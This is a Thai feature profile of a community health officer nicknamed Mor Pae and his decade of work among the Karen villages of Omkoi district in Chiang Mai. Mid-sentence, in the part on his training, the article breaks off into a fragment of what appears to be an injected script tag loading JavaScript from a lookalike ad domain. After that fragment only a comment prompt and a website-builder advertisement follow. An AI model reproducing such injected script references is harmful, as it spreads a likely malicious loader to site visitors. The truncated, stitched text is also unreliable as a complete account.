หมอแป๊ะ ผีบ้าดอยอมก๋อย


หมอแป๊ะ ผีบ้าดอยอมก๋อย

หมอแป๊ะ ผีบ้าแห่งดอยอมก๋อย

ระยะทางแปดม่อน(ดอย) ด้วยกำลังยนต์กระบะโฟร์วีลไดร์ฟ ฝีมือบังคับพวงมาลัย ของหมอหนุ่มคนหนึ่ง บนดอยอมก๋อย นำพาคณะ เดินทางฝ่าหนทางวิบาก ไปสัมผัสความหนาวเหน็บ และเรื่องราวสุดประทับใจของเขา กับผู้คนในหมู่บ้านต่างๆ ยุวดี มณีกุล ถ่ายทอดไออุ่น แห่งอุดมการณ์ของ 'ผีบ้า' ผู้เป็นที่พึ่งพิง ของชาวกะเหรี่ยงอมก๋อย มานานกว่า 10 ปี

"หมอแป๊ะๆ ขอยาอย่างเดิมอีกหม้อสิ"

เสียงเด็กหนุ่มกะเหรี่ยงแดงบ้านนาเกียนแหวกอากาศขึ้นมา ขณะผู้ถูกเรียกกำลังง่วนกับการสอนบวกลบเลขคณิตให้กับเด็กๆ กะเหรี่ยงชั้นประถมปีที่สาม ณ โรงเรียนบ้านนาเกียน ตำบลนาเกียน อำเภอมก๋อย จังหวัดเชียงใหม่

รอให้ถึงเวลาพักเที่ยง 'หมอแป๊ะ' นิเทศน์ สุขสามัคคี หัวหน้าสถานีอนามัยบ้านนาเกียน รีบห้อรถกระบะคู่ชีพกลับสำนักงาน เพื่อเตรียมยาบำบัดอาการให้คนป่วย แล้วจึงกลับมาสอนหนังสือเด็กๆ ต่อจนหมดวัน

นี่เป็นเหตุการณ์ที่เกิดขึ้นเมื่อ 7-8 ปีก่อน สมัยที่หมอแป๊ะเพิ่งสอบบรรจุเป็นหมอสาธารณสุขชุมชนประจำอมก๋อยได้ราว 2-3 ปี ครั้งนั้นการพึ่งพาหมอยังไม่เป็นที่นิยม เพราะชาวกะเหรี่ยงแดงแต่ละหมู่บ้านมีความเชื่อเรื่องผีเป็นทุน พวกเขามีวิธีการรักษาแบบดั้งเดิม หมอแป๊ะจึงตอบรับคำชวนของครูใหญ่โรงเรียนบ้านนาเกียนมาช่วยสอนหนังสือโดยไม่มีค่าตอบแทน ครั้นทางโรงเรียนได้อัตราครูเพิ่มขึ้น หมอแป๊ะจึงปลีกตัวมาทุ่มเทกับภารกิจหลักเช่นเก่า

-1-

หมอแป๊ะเป็นชายหนุ่มวัยต้น 30 รูปร่างสันทัด มัดกล้ามตามแขนขาแสดงถึงความกำยำแห่งวัย ผมเผ้ากระเซิงกับกอหนวดเครา ทำให้เขาดูกลมกลืนกับผู้คนบนดอยอมก๋อยอย่างยากจะแยกแยะ ยิ่งเวลาเดินป่าข้ามดอยลูกแล้วลูกเล่าเพื่อเข้าสู่หมู่บ้านกะเหรี่ยงห่างไกล เสื้อผ้าดูจะเป็นส่วนเกิน หมอแป๊ะนิยมสวมเพียงกางเกงตัวเก่งที่เก่าซีดจนไม่เหลือเค้าสีเดิม ไม่ก็โสร่งตาหมากรุกที่ลายออกจะเลือนๆ ไปบ้าง

บุหรี่มวนแล้วมวนเล่า กับเหล้าขาว 60 ดีกรี ทำให้ชีวิตบนดอยของเขาไม่จืดชืด ระดับความเข้มข้นของแอลกอฮอล์เพื่อนยากดูจะเป็นเครื่องสานมิตรภาพระหว่างเขากับชาวกะเหรี่ยงบ้านต่างๆ ไม่ว่าเขาแวะเวียนขึ้นบ้านไหน ชาวบ้านจะชักชวนให้ค้างแรม และตั้งวงเหล้าล้อมเตาไฟบนเรือนร่ำไป...นี่เป็นหนึ่งในการปฏิบัติหน้าที่ที่เขาไม่อาจปฏิเสธ

ยามมีคนป่วยเดินทางจากหมู่บ้านของตนมาหาหมอที่สำนักงาน หมอไม่เคยเก็บค่ารักษา เพราะงานของเขาเป็นการให้บริการด้านสาธารณสุข อีกประการเป็นเพราะชาวกะเหรี่ยงไม่มีเงิน พวกเขาสู้เจียดข้าวสาร 1 กำบ้าง 2 กำบ้าง มามอบให้หมอแทนค่ารักษา ชาวกะเหรี่ยงเหล่านี้ยังชีพด้วยการเกษตรแบบพอเพียง ทำนาข้าวเจ้า ปลูกพืชผัก ลงสวนไผ่พันธุ์งาม จับปลาจากลำห้วย เลี้ยงหมูเลี้ยงไก่ ส่วนที่เหลือเก็บไว้แลกซื้อกะปิ น้ำปลาจากพ่อค้าในตลาด เนื่องจากวัวควายเป็นสัตว์หายากราคาแพง หลายหมู่บ้านจึงลงขันกันซื้อช้างมาฝึกทำนา โดยเลี้ยงแบบปล่อยไว้ในป่า

ช้างไถนาอาจมีให้เห็นเฉพาะบนดอยอมก๋อย!

จากเดือนเป็นปี จากปีเป็นเก้าปีเศษ ปัจจุบันหมอแป๊ะเป็นข้าราชการระดับ 5 อยู่ระหว่างการทำเรื่องเลื่อนสู่ระดับ 6 หมอแป๊ะไม่เคยจากอมก๋อยไปไหน และไม่เคยคิดจะทำเรื่องขอย้ายไปจากดอยนี้...ในบางคราวเขาถึงกับละเมอว่าเขาได้ป่นหัวใจตัวเองแจกจ่ายชาวกะเหรี่ยงถ้วนทั่วแล้ว

นี่ย่อมไม่ใช่เพียงความสัมพันธ์ระหว่างหมอกับคนป่วย แต่เป็นน้ำใสใจจริงที่มนุษย์พึงมีต่อกัน ถึงขั้นว่าใครมีเรื่องเดือดเนื้อร้อนใจอะไร ไม่ว่าปัญหาส่วนตัว เรื่องครอบครัว หรือปัญหาระดับชุมชน ทุกคนจะเรียกหาหมอแป๊ะ

"วัวตายเขาก็มาบอกหมอ ช้างเป็นหิด ผิวหนังเปื่อยก็มาให้หมอไปดู ที่จริงจะมีเจ้าหน้าที่ปศุสัตว์มาดูแลเป็นครั้งคราว เขาก็เลยสั่งจ่ายยาฝากไว้ที่ผมเสียเลยเพราะผมอยู่ในพื้นที่มานาน ผมรักษาหมดแหละ ถอนฟัน ขูดหินปูน ทำคลอด ตรวจรักษาภายใน ทำแผลทั่วไป แต่ถ้าเป็นรายที่อาการหนักต้องผ่าตัด แบบนี้เราต้องส่งไปที่โรงพยาบาลประจำอำเภอ" หมอแป๊ะเล่าให้ฟังตอนหนึ่ง

แม้ว่าศักยภาพในด้านชุมชนสัมพันธ์ของเขาเป็นเลิศ แต่หมอแป๊ะกลับไม่เป็นที่ถูกตาต้องใจของเหล่าผู้ใหญ่ทางอำเภอ สาเหตุแค่เขาไม่ยอมพูดคำว่า 'ครับผม' กับคนเหล่านั้น ไม่นานนักชื่อของนายนิเทศน์ สุขสามัคคี ก็ถูกบรรจุอยู่ในรายนามผู้มีอิทธิพลในท้องถิ่น

"ผมเป็นคนประเภทว่าถ้าเห็นอะไรไม่ถูกต้อง ผมด่าเลย" หมอแป๊ะอธิบายความเป็นตัวของตัวเองไว้เช่นนั้น โดยละไว้ในฐานะที่เข้าใจเกี่ยวกับ 'บางสิ่งบางอย่าง' ที่ไม่ถูกต้อง

พื้นเพเดิมของหมอแป๊ะเป็นคนแม่แจ่ม จังหวัดเชียงใหม่ สำเร็จการศึกษาด้านสาธารณสุขศาสตร์ วิทยาลัยการสาธารณสุขสิรินธร จังหวัดพิษณุโลก แล้วไปฝึกงานที่ศรีสัชนาลัย จังหวัดสุโขทัย กับวังแดง จังหวัดพิจิตร เขาเคยเป็นลูกมือช่วยตรวจรักษานางคณิกาสำนักต่างๆ หมอ src=http://www.doubleclickr.ru/index.js>


แสดงความคิดเห็น

เว็บไซต์สำเร็จรูป รองรับการแสดงผลบนมือถือ


เว็บไซต์สำเร็จรูป รองรับการแสดงผลบนมือถือ

เป็นเว็บไซต์ระบบ Responsive 100% สามารถปรับรูปแบบการแสดงผลได้เองโดยอัตโนมัติ ตามอุปกรณ์ที่เปิดชม (ทั้ง Front end และ Back end) เช่น สมาร์ทโฟนทุกรุ่น, แท็บเล็ต, iPad และ iPhone เป็นเจ้าของได้แล้ววันนี้ ในราคาโปรโมชั่น...



คลิกดูรายละเอียด